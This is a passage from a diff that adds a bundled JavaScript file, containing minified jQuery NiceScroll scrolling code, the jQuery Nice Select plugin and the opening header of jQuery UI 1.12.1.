+parseInt(a.win[0].clientWidth),h:a.ispage?a.win.height():parseInt(a.win[0].clientHeight)};a.page=c?c:a.getContentSize();a.page.maxh=Math.max(0,a.page.h-a.view.h);a.page.maxw=Math.max(0,a.page.w-a.view.w);if(a.page.maxh==d&&a.page.maxw==e&&a.view.w==k&&a.view.h==f){if(a.ispage)return a;d=a.win.offset();if(a.lastposition&&(e=a.lastposition,e.top==d.top&&e.left==d.left))return a;a.lastposition=d}0==a.page.maxh?(a.hideRail(),a.scrollvaluemax=0,a.scroll.y=0,a.scrollratio.y=0,a.cursorheight=0,a.setScrollTop(0),
+a.rail&&(a.rail.scrollable=!1)):(a.page.maxh-=a.opt.railpadding.top+a.opt.railpadding.bottom,a.rail.scrollable=!0);0==a.page.maxw?(a.hideRailHr(),a.scrollvaluemaxw=0,a.scroll.x=0,a.scrollratio.x=0,a.cursorwidth=0,a.setScrollLeft(0),a.railh&&(a.railh.scrollable=!1)):(a.page.maxw-=a.opt.railpadding.left+a.opt.railpadding.right,a.railh&&(a.railh.scrollable=a.opt.horizrailenabled));a.railslocked=a.locked||0==a.page.maxh&&0==a.page.maxw;if(a.railslocked)return a.ispage||a.updateScrollBar(a.view),!1;a.hidden||
+a.visibility?!a.railh||a.hidden||a.railh.visibility||a.showRailHr():a.showRail().showRailHr();a.istextarea&&a.win.css("resize")&&"none"!=a.win.css("resize")&&(a.view.h-=20);a.cursorheight=Math.min(a.view.h,Math.round(a.view.h/a.page.h*a.view.h));a.cursorheight=a.opt.cursorfixedheight?a.opt.cursorfixedheight:Math.max(a.opt.cursorminheight,a.cursorheight);a.cursorwidth=Math.min(a.view.w,Math.round(a.view.w/a.page.w*a.view.w));a.cursorwidth=a.opt.cursorfixedheight?a.opt.cursorfixedheight:Math.max(a.opt.cursorminheight,
+a.cursorwidth);a.scrollvaluemax=a.view.h-a.cursorheight-a.cursor.hborder-(a.opt.railpadding.top+a.opt.railpadding.bottom);a.railh&&(a.railh.width=0<a.page.maxh?a.view.w-a.rail.width:a.view.w,a.scrollvaluemaxw=a.railh.width-a.cursorwidth-a.cursorh.wborder-(a.opt.railpadding.left+a.opt.railpadding.right));a.ispage||a.updateScrollBar(a.view);a.scrollratio={x:a.page.maxw/a.scrollvaluemaxw,y:a.page.maxh/a.scrollvaluemax};a.getScrollTop()>a.page.maxh?a.doScrollTop(a.page.maxh):(a.scroll.y=Math.round(a.getScrollTop()*
+(1/a.scrollratio.y)),a.scroll.x=Math.round(a.getScrollLeft()*(1/a.scrollratio.x)),a.cursoractive&&a.noticeCursor());a.scroll.y&&0==a.getScrollTop()&&a.doScrollTo(Math.floor(a.scroll.y*a.scrollratio.y));return a};this.resize=a.onResize;this.hlazyresize=0;this.lazyResize=function(b){a.haswrapper||a.hide();a.hlazyresize&&clearTimeout(a.hlazyresize);a.hlazyresize=setTimeout(function(){a&&a.show().resize()},240);return a};this.jqbind=function(b,c,d){a.events.push({e:b,n:c,f:d,q:!0});f(b).bind(c,d)};this.mousewheel=
+function(b,c,d){b="jquery"in b?b[0]:b;if("onwheel"in document.createElement("div"))a._bind(b,"wheel",c,d||!1);else{var e=void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll";q(b,e,c,d||!1);"DOMMouseScroll"==e&&q(b,"MozMousePixelScroll",c,d||!1)}};e.haseventlistener?(this.bind=function(b,c,d,e){a._bind("jquery"in b?b[0]:b,c,d,e||!1)},this._bind=function(b,c,d,e){a.events.push({e:b,n:c,f:d,b:e,q:!1});b.addEventListener(c,d,e||!1)},this.cancelEvent=function(a){if(!a)return!1;a=a.original?a.original:
+a;a.cancelable&&a.preventDefault();a.stopPropagation();a.preventManipulation&&a.preventManipulation();return!1},this.stopPropagation=function(a){if(!a)return!1;a=a.original?a.original:a;a.stopPropagation();return!1},this._unbind=function(a,c,d,e){a.removeEventListener(c,d,e)}):(this.bind=function(b,c,d,e){var f="jquery"in b?b[0]:b;a._bind(f,c,function(b){(b=b||window.event||!1)&&b.srcElement&&(b.target=b.srcElement);"pageY"in b||(b.pageX=b.clientX+document.documentElement.scrollLeft,b.pageY=b.clientY+
+document.documentElement.scrollTop);return!1===d.call(f,b)||!1===e?a.cancelEvent(b):!0})},this._bind=function(b,c,d,e){a.events.push({e:b,n:c,f:d,b:e,q:!1});b.attachEvent?b.attachEvent("on"+c,d):b["on"+c]=d},this.cancelEvent=function(a){a=window.event||!1;if(!a)return!1;a.cancelBubble=!0;a.cancel=!0;return a.returnValue=!1},this.stopPropagation=function(a){a=window.event||!1;if(!a)return!1;a.cancelBubble=!0;return!1},this._unbind=function(a,c,d,e){a.detachEvent?a.detachEvent("on"+c,d):a["on"+c]=!1});
+this.unbindAll=function(){for(var b=0;b<a.events.length;b++){var c=a.events[b];c.q?c.e.unbind(c.n,c.f):a._unbind(c.e,c.n,c.f,c.b)}};this.showRail=function(){0==a.page.maxh||!a.ispage&&"none"==a.win.css("display")||(a.visibility=!0,a.rail.visibility=!0,a.rail.css("display","block"));return a};this.showRailHr=function(){if(!a.railh)return a;0==a.page.maxw||!a.ispage&&"none"==a.win.css("display")||(a.railh.visibility=!0,a.railh.css("display","block"));return a};this.hideRail=function(){a.visibility=
+!1;a.rail.visibility=!1;a.rail.css("display","none");return a};this.hideRailHr=function(){if(!a.railh)return a;a.railh.visibility=!1;a.railh.css("display","none");return a};this.show=function(){a.hidden=!1;a.railslocked=!1;return a.showRail().showRailHr()};this.hide=function(){a.hidden=!0;a.railslocked=!0;return a.hideRail().hideRailHr()};this.toggle=function(){return a.hidden?a.show():a.hide()};this.remove=function(){a.stop();a.cursortimeout&&clearTimeout(a.cursortimeout);for(var b in a.delaylist)a.delaylist[b]&&
+w(a.delaylist[b].h);a.doZoomOut();a.unbindAll();e.isie9&&a.win[0].detachEvent("onpropertychange",a.onAttributeChange);!1!==a.observer&&a.observer.disconnect();!1!==a.observerremover&&a.observerremover.disconnect();!1!==a.observerbody&&a.observerbody.disconnect();a.events=null;a.cursor&&a.cursor.remove();a.cursorh&&a.cursorh.remove();a.rail&&a.rail.remove();a.railh&&a.railh.remove();a.zoom&&a.zoom.remove();for(b=0;b<a.saved.css.length;b++){var c=a.saved.css[b];c[0].css(c[1],void 0===c[2]?"":c[2])}a.saved=
+!1;a.me.data("__nicescroll","");var d=f.nicescroll;d.each(function(b){if(this&&this.id===a.id){delete d[b];for(var c=++b;c<d.length;c++,b++)d[b]=d[c];d.length--;d.length&&delete d[d.length]}});for(var k in a)a[k]=null,delete a[k];a=null};this.scrollstart=function(b){this.onscrollstart=b;return a};this.scrollend=function(b){this.onscrollend=b;return a};this.scrollcancel=function(b){this.onscrollcancel=b;return a};this.zoomin=function(b){this.onzoomin=b;return a};this.zoomout=function(b){this.onzoomout=
+b;return a};this.isScrollable=function(a){a=a.target?a.target:a;if("OPTION"==a.nodeName)return!0;for(;a&&1==a.nodeType&&!/^BODY|HTML/.test(a.nodeName);){var c=f(a),c=c.css("overflowY")||c.css("overflowX")||c.css("overflow")||"";if(/scroll|auto/.test(c))return a.clientHeight!=a.scrollHeight;a=a.parentNode?a.parentNode:!1}return!1};this.getViewport=function(a){for(a=a&&a.parentNode?a.parentNode:!1;a&&1==a.nodeType&&!/^BODY|HTML/.test(a.nodeName);){var c=f(a);if(/fixed|absolute/.test(c.css("position")))return c;
+var d=c.css("overflowY")||c.css("overflowX")||c.css("overflow")||"";if(/scroll|auto/.test(d)&&a.clientHeight!=a.scrollHeight||0<c.getNiceScroll().length)return c;a=a.parentNode?a.parentNode:!1}return!1};this.triggerScrollEnd=function(){if(a.onscrollend){var b=a.getScrollLeft(),c=a.getScrollTop();a.onscrollend.call(a,{type:"scrollend",current:{x:b,y:c},end:{x:b,y:c}})}};this.onmousewheel=function(b){if(!a.wheelprevented){if(a.railslocked)return a.debounced("checkunlock",a.resize,250),!0;if(a.rail.drag)return a.cancelEvent(b);
+"auto"==a.opt.oneaxismousemode&&0!=b.deltaX&&(a.opt.oneaxismousemode=!1);if(a.opt.oneaxismousemode&&0==b.deltaX&&!a.rail.scrollable)return a.railh&&a.railh.scrollable?a.onmousewheelhr(b):!0;var c=+new Date,d=!1;a.opt.preservenativescrolling&&a.checkarea+600<c&&(a.nativescrollingarea=a.isScrollable(b),d=!0);a.checkarea=c;if(a.nativescrollingarea)return!0;if(b=t(b,!1,d))a.checkarea=0;return b}};this.onmousewheelhr=function(b){if(!a.wheelprevented){if(a.railslocked||!a.railh.scrollable)return!0;if(a.rail.drag)return a.cancelEvent(b);
+var c=+new Date,d=!1;a.opt.preservenativescrolling&&a.checkarea+600<c&&(a.nativescrollingarea=a.isScrollable(b),d=!0);a.checkarea=c;return a.nativescrollingarea?!0:a.railslocked?a.cancelEvent(b):t(b,!0,d)}};this.stop=function(){a.cancelScroll();a.scrollmon&&a.scrollmon.stop();a.cursorfreezed=!1;a.scroll.y=Math.round(a.getScrollTop()*(1/a.scrollratio.y));a.noticeCursor();return a};this.getTransitionSpeed=function(b){b=Math.min(Math.round(10*a.opt.scrollspeed),Math.round(b/20*a.opt.scrollspeed));return 20<
+b?b:0};a.opt.smoothscroll?a.ishwscroll&&e.hastransition&&a.opt.usetransition&&a.opt.smoothscroll?(this.prepareTransition=function(b,c){var d=c?20<b?b:0:a.getTransitionSpeed(b),f=d?e.prefixstyle+"transform "+d+"ms ease-out":"";a.lasttransitionstyle&&a.lasttransitionstyle==f||(a.lasttransitionstyle=f,a.doc.css(e.transitionstyle,f));return d},this.doScrollLeft=function(b,c){var d=a.scrollrunning?a.newscrolly:a.getScrollTop();a.doScrollPos(b,d,c)},this.doScrollTop=function(b,c){var d=a.scrollrunning?
+a.newscrollx:a.getScrollLeft();a.doScrollPos(d,b,c)},this.doScrollPos=function(b,c,d){var f=a.getScrollTop(),k=a.getScrollLeft();(0>(a.newscrolly-f)*(c-f)||0>(a.newscrollx-k)*(b-k))&&a.cancelScroll();0==a.opt.bouncescroll&&(0>c?c=0:c>a.page.maxh&&(c=a.page.maxh),0>b?b=0:b>a.page.maxw&&(b=a.page.maxw));if(a.scrollrunning&&b==a.newscrollx&&c==a.newscrolly)return!1;a.newscrolly=c;a.newscrollx=b;a.newscrollspeed=d||!1;if(a.timer)return!1;a.timer=setTimeout(function(){var d=a.getScrollTop(),f=a.getScrollLeft(),
+k=Math.round(Math.sqrt(Math.pow(b-f,2)+Math.pow(c-d,2))),k=a.newscrollspeed&&1<a.newscrollspeed?a.newscrollspeed:a.getTransitionSpeed(k);a.newscrollspeed&&1>=a.newscrollspeed&&(k*=a.newscrollspeed);a.prepareTransition(k,!0);a.timerscroll&&a.timerscroll.tm&&clearInterval(a.timerscroll.tm);0<k&&(!a.scrollrunning&&a.onscrollstart&&a.onscrollstart.call(a,{type:"scrollstart",current:{x:f,y:d},request:{x:b,y:c},end:{x:a.newscrollx,y:a.newscrolly},speed:k}),e.transitionend?a.scrollendtrapped||(a.scrollendtrapped=
+!0,a.bind(a.doc,e.transitionend,a.onScrollTransitionEnd,!1)):(a.scrollendtrapped&&clearTimeout(a.scrollendtrapped),a.scrollendtrapped=setTimeout(a.onScrollTransitionEnd,k)),a.timerscroll={bz:new D(d,a.newscrolly,k,0,0,.58,1),bh:new D(f,a.newscrollx,k,0,0,.58,1)},a.cursorfreezed||(a.timerscroll.tm=setInterval(function(){a.showCursor(a.getScrollTop(),a.getScrollLeft())},60)));a.synched("doScroll-set",function(){a.timer=0;a.scrollendtrapped&&(a.scrollrunning=!0);a.setScrollTop(a.newscrolly);a.setScrollLeft(a.newscrollx);
+if(!a.scrollendtrapped)a.onScrollTransitionEnd()})},50)},this.cancelScroll=function(){if(!a.scrollendtrapped)return!0;var b=a.getScrollTop(),c=a.getScrollLeft();a.scrollrunning=!1;e.transitionend||clearTimeout(e.transitionend);a.scrollendtrapped=!1;a._unbind(a.doc[0],e.transitionend,a.onScrollTransitionEnd);a.prepareTransition(0);a.setScrollTop(b);a.railh&&a.setScrollLeft(c);a.timerscroll&&a.timerscroll.tm&&clearInterval(a.timerscroll.tm);a.timerscroll=!1;a.cursorfreezed=!1;a.showCursor(b,c);return a},
+this.onScrollTransitionEnd=function(){a.scrollendtrapped&&a._unbind(a.doc[0],e.transitionend,a.onScrollTransitionEnd);a.scrollendtrapped=!1;a.prepareTransition(0);a.timerscroll&&a.timerscroll.tm&&clearInterval(a.timerscroll.tm);a.timerscroll=!1;var b=a.getScrollTop(),c=a.getScrollLeft();a.setScrollTop(b);a.railh&&a.setScrollLeft(c);a.noticeCursor(!1,b,c);a.cursorfreezed=!1;0>b?b=0:b>a.page.maxh&&(b=a.page.maxh);0>c?c=0:c>a.page.maxw&&(c=a.page.maxw);if(b!=a.newscrolly||c!=a.newscrollx)return a.doScrollPos(c,
+b,a.opt.snapbackspeed);a.onscrollend&&a.scrollrunning&&a.triggerScrollEnd();a.scrollrunning=!1}):(this.doScrollLeft=function(b,c){var d=a.scrollrunning?a.newscrolly:a.getScrollTop();a.doScrollPos(b,d,c)},this.doScrollTop=function(b,c){var d=a.scrollrunning?a.newscrollx:a.getScrollLeft();a.doScrollPos(d,b,c)},this.doScrollPos=function(b,c,d){function e(){if(a.cancelAnimationFrame)return!0;a.scrollrunning=!0;if(p=1-p)return a.timer=v(e)||1;var b=0,c,d,f=d=a.getScrollTop();if(a.dst.ay){f=a.bzscroll?
+a.dst.py+a.bzscroll.getNow()*a.dst.ay:a.newscrolly;c=f-d;if(0>c&&f<a.newscrolly||0<c&&f>a.newscrolly)f=a.newscrolly;a.setScrollTop(f);f==a.newscrolly&&(b=1)}else b=1;d=c=a.getScrollLeft();if(a.dst.ax){d=a.bzscroll?a.dst.px+a.bzscroll.getNow()*a.dst.ax:a.newscrollx;c=d-c;if(0>c&&d<a.newscrollx||0<c&&d>a.newscrollx)d=a.newscrollx;a.setScrollLeft(d);d==a.newscrollx&&(b+=1)}else b+=1;2==b?(a.timer=0,a.cursorfreezed=!1,a.bzscroll=!1,a.scrollrunning=!1,0>f?f=0:f>a.page.maxh&&(f=Math.max(0,a.page.maxh)),
+0>d?d=0:d>a.page.maxw&&(d=a.page.maxw),d!=a.newscrollx||f!=a.newscrolly?a.doScrollPos(d,f):a.onscrollend&&a.triggerScrollEnd()):a.timer=v(e)||1}c=void 0===c||!1===c?a.getScrollTop(!0):c;if(a.timer&&a.newscrolly==c&&a.newscrollx==b)return!0;a.timer&&w(a.timer);a.timer=0;var f=a.getScrollTop(),k=a.getScrollLeft();(0>(a.newscrolly-f)*(c-f)||0>(a.newscrollx-k)*(b-k))&&a.cancelScroll();a.newscrolly=c;a.newscrollx=b;a.bouncescroll&&a.rail.visibility||(0>a.newscrolly?a.newscrolly=0:a.newscrolly>a.page.maxh&&
+(a.newscrolly=a.page.maxh));a.bouncescroll&&a.railh.visibility||(0>a.newscrollx?a.newscrollx=0:a.newscrollx>a.page.maxw&&(a.newscrollx=a.page.maxw));a.dst={};a.dst.x=b-k;a.dst.y=c-f;a.dst.px=k;a.dst.py=f;var h=Math.round(Math.sqrt(Math.pow(a.dst.x,2)+Math.pow(a.dst.y,2)));a.dst.ax=a.dst.x/h;a.dst.ay=a.dst.y/h;var l=0,n=h;0==a.dst.x?(l=f,n=c,a.dst.ay=1,a.dst.py=0):0==a.dst.y&&(l=k,n=b,a.dst.ax=1,a.dst.px=0);h=a.getTransitionSpeed(h);d&&1>=d&&(h*=d);a.bzscroll=0<h?a.bzscroll?a.bzscroll.update(n,h):
+new D(l,n,h,0,1,0,1):!1;if(!a.timer){(f==a.page.maxh&&c>=a.page.maxh||k==a.page.maxw&&b>=a.page.maxw)&&a.checkContentSize();var p=1;a.cancelAnimationFrame=!1;a.timer=1;a.onscrollstart&&!a.scrollrunning&&a.onscrollstart.call(a,{type:"scrollstart",current:{x:k,y:f},request:{x:b,y:c},end:{x:a.newscrollx,y:a.newscrolly},speed:h});e();(f==a.page.maxh&&c>=f||k==a.page.maxw&&b>=k)&&a.checkContentSize();a.noticeCursor()}},this.cancelScroll=function(){a.timer&&w(a.timer);a.timer=0;a.bzscroll=!1;a.scrollrunning=
+!1;return a}):(this.doScrollLeft=function(b,c){var d=a.getScrollTop();a.doScrollPos(b,d,c)},this.doScrollTop=function(b,c){var d=a.getScrollLeft();a.doScrollPos(d,b,c)},this.doScrollPos=function(b,c,d){var e=b>a.page.maxw?a.page.maxw:b;0>e&&(e=0);var f=c>a.page.maxh?a.page.maxh:c;0>f&&(f=0);a.synched("scroll",function(){a.setScrollTop(f);a.setScrollLeft(e)})},this.cancelScroll=function(){});this.doScrollBy=function(b,c){var d=0,d=c?Math.floor((a.scroll.y-b)*a.scrollratio.y):(a.timer?a.newscrolly:
+a.getScrollTop(!0))-b;if(a.bouncescroll){var e=Math.round(a.view.h/2);d<-e?d=-e:d>a.page.maxh+e&&(d=a.page.maxh+e)}a.cursorfreezed=!1;e=a.getScrollTop(!0);if(0>d&&0>=e)return a.noticeCursor();if(d>a.page.maxh&&e>=a.page.maxh)return a.checkContentSize(),a.noticeCursor();a.doScrollTop(d)};this.doScrollLeftBy=function(b,c){var d=0,d=c?Math.floor((a.scroll.x-b)*a.scrollratio.x):(a.timer?a.newscrollx:a.getScrollLeft(!0))-b;if(a.bouncescroll){var e=Math.round(a.view.w/2);d<-e?d=-e:d>a.page.maxw+e&&(d=a.page.maxw+
+e)}a.cursorfreezed=!1;e=a.getScrollLeft(!0);if(0>d&&0>=e||d>a.page.maxw&&e>=a.page.maxw)return a.noticeCursor();a.doScrollLeft(d)};this.doScrollTo=function(b,c){a.cursorfreezed=!1;a.doScrollTop(b)};this.checkContentSize=function(){var b=a.getContentSize();b.h==a.page.h&&b.w==a.page.w||a.resize(!1,b)};a.onscroll=function(b){a.rail.drag||a.cursorfreezed||a.synched("scroll",function(){a.scroll.y=Math.round(a.getScrollTop()*(1/a.scrollratio.y));a.railh&&(a.scroll.x=Math.round(a.getScrollLeft()*(1/a.scrollratio.x)));
+a.noticeCursor()})};a.bind(a.docscroll,"scroll",a.onscroll);this.doZoomIn=function(b){if(!a.zoomactive){a.zoomactive=!0;a.zoomrestore={style:{}};var c="position top left zIndex backgroundColor marginTop marginBottom marginLeft marginRight".split(" "),d=a.win[0].style,k;for(k in c){var h=c[k];a.zoomrestore.style[h]=void 0!==d[h]?d[h]:""}a.zoomrestore.style.width=a.win.css("width");a.zoomrestore.style.height=a.win.css("height");a.zoomrestore.padding={w:a.win.outerWidth()-a.win.width(),h:a.win.outerHeight()-
+a.win.height()};e.isios4&&(a.zoomrestore.scrollTop=f(window).scrollTop(),f(window).scrollTop(0));a.win.css({position:e.isios4?"absolute":"fixed",top:0,left:0,zIndex:A+100,margin:0});c=a.win.css("backgroundColor");(""==c||/transparent|rgba\(0, 0, 0, 0\)|rgba\(0,0,0,0\)/.test(c))&&a.win.css("backgroundColor","#fff");a.rail.css({zIndex:A+101});a.zoom.css({zIndex:A+102});a.zoom.css("backgroundPosition","0px -18px");a.resizeZoom();a.onzoomin&&a.onzoomin.call(a);return a.cancelEvent(b)}};this.doZoomOut=
+function(b){if(a.zoomactive)return a.zoomactive=!1,a.win.css("margin",""),a.win.css(a.zoomrestore.style),e.isios4&&f(window).scrollTop(a.zoomrestore.scrollTop),a.rail.css({"z-index":a.zindex}),a.zoom.css({"z-index":a.zindex}),a.zoomrestore=!1,a.zoom.css("backgroundPosition","0px 0px"),a.onResize(),a.onzoomout&&a.onzoomout.call(a),a.cancelEvent(b)};this.doZoom=function(b){return a.zoomactive?a.doZoomOut(b):a.doZoomIn(b)};this.resizeZoom=function(){if(a.zoomactive){var b=a.getScrollTop();a.win.css({width:f(window).width()-
+a.zoomrestore.padding.w+"px",height:f(window).height()-a.zoomrestore.padding.h+"px"});a.onResize();a.setScrollTop(Math.min(a.page.maxh,b))}};this.init();f.nicescroll.push(this)},M=function(f){var c=this;this.nc=f;this.steptime=this.lasttime=this.speedy=this.speedx=this.lasty=this.lastx=0;this.snapy=this.snapx=!1;this.demuly=this.demulx=0;this.lastscrolly=this.lastscrollx=-1;this.timer=this.chky=this.chkx=0;this.time=function(){return+new Date};this.reset=function(f,h){c.stop();var d=c.time();c.steptime=
+0;c.lasttime=d;c.speedx=0;c.speedy=0;c.lastx=f;c.lasty=h;c.lastscrollx=-1;c.lastscrolly=-1};this.update=function(f,h){var d=c.time();c.steptime=d-c.lasttime;c.lasttime=d;var d=h-c.lasty,q=f-c.lastx,t=c.nc.getScrollTop(),a=c.nc.getScrollLeft(),t=t+d,a=a+q;c.snapx=0>a||a>c.nc.page.maxw;c.snapy=0>t||t>c.nc.page.maxh;c.speedx=q;c.speedy=d;c.lastx=f;c.lasty=h};this.stop=function(){c.nc.unsynched("domomentum2d");c.timer&&clearTimeout(c.timer);c.timer=0;c.lastscrollx=-1;c.lastscrolly=-1};this.doSnapy=function(f,
+h){var d=!1;0>h?(h=0,d=!0):h>c.nc.page.maxh&&(h=c.nc.page.maxh,d=!0);0>f?(f=0,d=!0):f>c.nc.page.maxw&&(f=c.nc.page.maxw,d=!0);d?c.nc.doScrollPos(f,h,c.nc.opt.snapbackspeed):c.nc.triggerScrollEnd()};this.doMomentum=function(f){var h=c.time(),d=f?h+f:c.lasttime;f=c.nc.getScrollLeft();var q=c.nc.getScrollTop(),t=c.nc.page.maxh,a=c.nc.page.maxw;c.speedx=0<a?Math.min(60,c.speedx):0;c.speedy=0<t?Math.min(60,c.speedy):0;d=d&&60>=h-d;if(0>q||q>t||0>f||f>a)d=!1;f=c.speedx&&d?c.speedx:!1;if(c.speedy&&d&&c.speedy||
+f){var r=Math.max(16,c.steptime);50<r&&(f=r/50,c.speedx*=f,c.speedy*=f,r=50);c.demulxy=0;c.lastscrollx=c.nc.getScrollLeft();c.chkx=c.lastscrollx;c.lastscrolly=c.nc.getScrollTop();c.chky=c.lastscrolly;var p=c.lastscrollx,e=c.lastscrolly,v=function(){var d=600<c.time()-h?.04:.02;c.speedx&&(p=Math.floor(c.lastscrollx-c.speedx*(1-c.demulxy)),c.lastscrollx=p,0>p||p>a)&&(d=.1);c.speedy&&(e=Math.floor(c.lastscrolly-c.speedy*(1-c.demulxy)),c.lastscrolly=e,0>e||e>t)&&(d=.1);c.demulxy=Math.min(1,c.demulxy+
+d);c.nc.synched("domomentum2d",function(){c.speedx&&(c.nc.getScrollLeft(),c.chkx=p,c.nc.setScrollLeft(p));c.speedy&&(c.nc.getScrollTop(),c.chky=e,c.nc.setScrollTop(e));c.timer||(c.nc.hideCursor(),c.doSnapy(p,e))});1>c.demulxy?c.timer=setTimeout(v,r):(c.stop(),c.nc.hideCursor(),c.doSnapy(p,e))};v()}else c.doSnapy(c.nc.getScrollLeft(),c.nc.getScrollTop())}},y=f.fn.scrollTop;f.cssHooks.pageYOffset={get:function(h,c,k){return(c=f.data(h,"__nicescroll")||!1)&&c.ishwscroll?c.getScrollTop():y.call(h)},set:function(h,
+c){var k=f.data(h,"__nicescroll")||!1;k&&k.ishwscroll?k.setScrollTop(parseInt(c)):y.call(h,c);return this}};f.fn.scrollTop=function(h){if(void 0===h){var c=this[0]?f.data(this[0],"__nicescroll")||!1:!1;return c&&c.ishwscroll?c.getScrollTop():y.call(this)}return this.each(function(){var c=f.data(this,"__nicescroll")||!1;c&&c.ishwscroll?c.setScrollTop(parseInt(h)):y.call(f(this),h)})};var z=f.fn.scrollLeft;f.cssHooks.pageXOffset={get:function(h,c,k){return(c=f.data(h,"__nicescroll")||!1)&&c.ishwscroll?
+c.getScrollLeft():z.call(h)},set:function(h,c){var k=f.data(h,"__nicescroll")||!1;k&&k.ishwscroll?k.setScrollLeft(parseInt(c)):z.call(h,c);return this}};f.fn.scrollLeft=function(h){if(void 0===h){var c=this[0]?f.data(this[0],"__nicescroll")||!1:!1;return c&&c.ishwscroll?c.getScrollLeft():z.call(this)}return this.each(function(){var c=f.data(this,"__nicescroll")||!1;c&&c.ishwscroll?c.setScrollLeft(parseInt(h)):z.call(f(this),h)})};var E=function(h){var c=this;this.length=0;this.name="nicescrollarray";
+this.each=function(d){f.each(c,d);return c};this.push=function(d){c[c.length]=d;c.length++};this.eq=function(d){return c[d]};if(h)for(var k=0;k<h.length;k++){var l=f.data(h[k],"__nicescroll")||!1;l&&(this[this.length]=l,this.length++)}return this};(function(f,c,k){for(var l=0;l<c.length;l++)k(f,c[l])})(E.prototype,"show hide toggle onResize resize remove stop doScrollPos".split(" "),function(f,c){f[c]=function(){var f=arguments;return this.each(function(){this[c].apply(this,f)})}});f.fn.getNiceScroll=
+function(h){return void 0===h?new E(this):this[h]&&f.data(this[h],"__nicescroll")||!1};f.expr[":"].nicescroll=function(h){return void 0!==f.data(h,"__nicescroll")};f.fn.niceScroll=function(h,c){void 0!==c||"object"!=typeof h||"jquery"in h||(c=h,h=!1);c=f.extend({},c);var k=new E;void 0===c&&(c={});h&&(c.doc=f(h),c.win=f(this));var l=!("doc"in c);l||"win"in c||(c.win=f(this));this.each(function(){var d=f(this).data("__nicescroll")||!1;d||(c.doc=l?f(this):c.doc,d=new S(c,f(this)),f(this).data("__nicescroll",
+d));k.push(d)});return 1==k.length?k[0]:k};window.NiceScroll={getjQuery:function(){return f}};f.nicescroll||(f.nicescroll=new E,f.nicescroll.options=K)});
+
+
+
+/* JQuery Nice Select - v1.0
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+/* jQuery Nice Select - v1.0
+   https://github.com/hernansartorio/jquery-nice-select
+   Made by Hernán Sartorio  */
+!function(e){e.fn.niceSelect=function(t){function s(t){t.after(e("<div></div>").addClass("nice-select").addClass(t.attr("class")||"").addClass(t.attr("disabled")?"disabled":"").attr("tabindex",t.attr("disabled")?null:"0").html('<span class="current"></span><ul class="list"></ul>'));var s=t.next(),n=t.find("option"),i=t.find("option:selected");s.find(".current").html(i.data("display")||i.text()),n.each(function(t){var n=e(this),i=n.data("display");s.find("ul").append(e("<li></li>").attr("data-value",n.val()).attr("data-display",i||null).addClass("option"+(n.is(":selected")?" selected":"")+(n.is(":disabled")?" disabled":"")).html(n.text()))})}if("string"==typeof t)return"update"==t?this.each(function(){var t=e(this),n=e(this).next(".nice-select"),i=n.hasClass("open");n.length&&(n.remove(),s(t),i&&t.next().trigger("click"))}):"destroy"==t?(this.each(function(){var t=e(this),s=e(this).next(".nice-select");s.length&&(s.remove(),t.css("display",""))}),0==e(".nice-select").length&&e(document).off(".nice_select")):console.log('Method "'+t+'" does not exist.'),this;this.hide(),this.each(function(){var t=e(this);t.next().hasClass("nice-select")||s(t)}),e(document).off(".nice_select"),e(document).on("click.nice_select",".nice-select",function(t){var s=e(this);e(".nice-select").not(s).removeClass("open"),s.toggleClass("open"),s.hasClass("open")?(s.find(".option"),s.find(".focus").removeClass("focus"),s.find(".selected").addClass("focus")):s.focus()}),e(document).on("click.nice_select",function(t){0===e(t.target).closest(".nice-select").length&&e(".nice-select").removeClass("open").find(".option")}),e(document).on("click.nice_select",".nice-select .option:not(.disabled)",function(t){var s=e(this),n=s.closest(".nice-select");n.find(".selected").removeClass("selected"),s.addClass("selected");var i=s.data("display")||s.text();n.find(".current").text(i),n.prev("select").val(s.data("value")).trigger("change")}),e(document).on("keydown.nice_select",".nice-select",function(t){var s=e(this),n=e(s.find(".focus")||s.find(".list .option.selected"));if(32==t.keyCode||13==t.keyCode)return s.hasClass("open")?n.trigger("click"):s.trigger("click"),!1;if(40==t.keyCode){if(s.hasClass("open")){var i=n.nextAll(".option:not(.disabled)").first();i.length>0&&(s.find(".focus").removeClass("focus"),i.addClass("focus"))}else s.trigger("click");return!1}if(38==t.keyCode){if(s.hasClass("open")){var l=n.prevAll(".option:not(.disabled)").first();l.length>0&&(s.find(".focus").removeClass("focus"),l.addClass("focus"))}else s.trigger("click");return!1}if(27==t.keyCode)s.hasClass("open")&&s.trigger("click");else if(9==t.keyCode&&s.hasClass("open"))return!1});var n=document.createElement("a").style;return n.cssText="pointer-events:auto","auto"!==n.pointerEvents&&e("html").addClass("no-csspointerevents"),this}}(jQuery);
+
+
+
+/* jQuery UI - v1.12.1
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 
+
+/*! jQuery UI - v1.12.1 - 2016-09-14
+* http://jqueryui.com
+* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js
+* Copyright jQuery Foundation and other contributors; Licensed MIT */
+
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.ui = $.ui || {};
+
+var version = $.ui.version = "1.12.1";
+
+
+/*!
+ * jQuery UI Widget 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Widget
+//>>group: Core
